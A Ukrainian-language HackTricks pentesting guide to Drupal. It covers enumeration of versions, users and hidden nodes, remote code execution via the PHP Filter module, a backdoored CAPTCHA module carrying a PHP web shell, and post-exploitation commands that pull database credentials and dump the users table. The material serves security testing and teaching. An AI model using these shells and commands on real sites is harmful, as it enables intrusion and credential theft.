Drupal

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Відкриття

  • Перевірте мета

curl https://www.drupal.org/ | grep 'content="Drupal'
  • Вузол: Drupal індексує свій вміст за допомогою вузлів. Вузол може містити будь-що, таке як блоговий пост, опитування, стаття і т. д. URI сторінок зазвичай мають форму /node/<ідентифікатор_вузла>.

curl drupal-site.com/node/1

Перелік

Drupal за замовчуванням підтримує три типи користувачів:

  1. Адміністратор: Цей користувач має повний контроль над веб-сайтом Drupal.

  2. Автентифікований користувач: Ці користувачі можуть увійти на веб-сайт та виконувати операції, такі як додавання та редагування статей на підставі їх дозволів.

  3. Анонімний: Усі відвідувачі веб-сайту мають статус анонімних. За замовчуванням цим користувачам дозволено лише читати повідомлення.

Версія

  • Перевірте /CHANGELOG.txt

curl -s http://drupal-site.local/CHANGELOG.txt | grep -m2 ""

Drupal 7.57, 2018-02-21

Нові установки Drupal за замовчуванням блокують доступ до файлів CHANGELOG.txt та README.txt.

Перелік імен користувачів

Реєстрація

У /user/register просто спробуйте створити ім'я користувача, і якщо ім'я вже зайняте, вас проінформують:

Запит нового пароля

Якщо ви запитуєте новий пароль для існуючого імені користувача:

Якщо ви запитуєте новий пароль для неіснуючого імені користувача:

Отримання кількості користувачів

Звертаючись до /user/<number>, ви можете побачити кількість існуючих користувачів, у цьому випадку це 2, оскільки /users/3 повертає помилку "не знайдено":

Приховані сторінки

Fuzz /node/$, де $ - це число (від 1 до 500, наприклад). Ви можете знайти приховані сторінки (тестові, розробницькі), які не вказані пошуковими системами.

Інформація про встановлені модулі

#From https://twitter.com/intigriti/status/1439192489093644292/photo/1
#Get info on installed modules
curl https://example.com/config/sync/core.extension.yml
curl https://example.com/core/core.services.yml

# Download content from files exposed in the previous step
curl https://example.com/config/sync/swiftmailer.transport.yml

Автоматичний

droopescan scan drupal -u http://drupal-site.local

RCE

З модулем PHP Filter

У старіших версіях Drupal (до версії 8) було можливо увійти як адміністратор та увімкнути модуль PHP filter, який "Дозволяє виконувати вбудований PHP-код/фрагменти."

Вам потрібно, щоб плагін php був встановлений (перевірте це, звернувшись до /modules/php і якщо повертає 403, то існує, якщо не знайдено, то плагін php не встановлений)

Перейдіть до Modules -> (Перевірте) PHP Filter -> Save configuration

Потім клацніть на Add content -> Виберіть Basic Page або Article -> Напишіть php shellcode у тілі -> Виберіть PHP code у Text format -> Виберіть Preview

Нарешті, просто зверніться до новоствореного вузла:

curl http://drupal-site.local/node/3

Встановлення модуля PHP Filter

Починаючи з версії 8 і вище, модуль PHP Filter не встановлюється за замовчуванням. Для використання цієї функціональності нам потрібно встановити модуль самостійно.

  1. Завантажте найновішу версію модуля з веб-сайту Drupal.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. Після завантаження перейдіть до Адміністрування > Звіти > Доступні оновлення.

  4. Клацніть на Огляд, виберіть файл з каталогу, куди ми його завантажили, а потім клацніть Встановити.

  5. Після встановлення модуля ми можемо клацнути на Вміст та створити нову базову сторінку, схожу на те, що ми робили в прикладі для Drupal 7. Знову переконайтеся, що ви вибрали PHP code зі списку Формат тексту.

Модуль з backdoor

Модуль з backdoor можна створити, додавши оболонку до існуючого модуля. Модулі можна знайти на веб-сайті drupal.org. Давайте виберемо модуль, такий як CAPTCHA. Прокрутіть вниз і скопіюйте посилання на tar.gz архів.

  • Завантажте архів та розпакуйте його вміст.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • Створіть PHP веб-оболонку з таким вмістом:

<?php
system($_GET["cmd"]);
?>
  • Далі нам потрібно створити файл .htaccess, щоб надати собі доступ до папки. Це необхідно, оскільки Drupal відмовляє у прямому доступі до папки /modules.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • Конфігурація вище застосує правила для папки / при запиті файлу в /modules. Скопіюйте обидва цих файли в папку captcha та створіть архів.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • Припускаючи, що у нас є адміністративний доступ до веб-сайту, клацніть на Керування, а потім на Розширення у бічній панелі. Далі клацніть на кнопку + Встановити новий модуль, і ми будемо перенаправлені на сторінку встановлення, таку як http://drupal-site.local/admin/modules/install. Перейдіть до архіву з backdoored Captcha та клацніть Встановити.

  • Після успішної установки перейдіть до /modules/captcha/shell.php, щоб виконати команди.

Післяексплуатаційний етап

Прочитайте settings.php

find / -name settings.php -exec grep "drupal_hash_salt\|'database'\|'username'\|'password'\|'host'\|'port'\|'driver'\|'prefix'" {} \; 2>/dev/null

Витягнути користувачів з БД

mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from users'

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримати HackTricks:

Last updated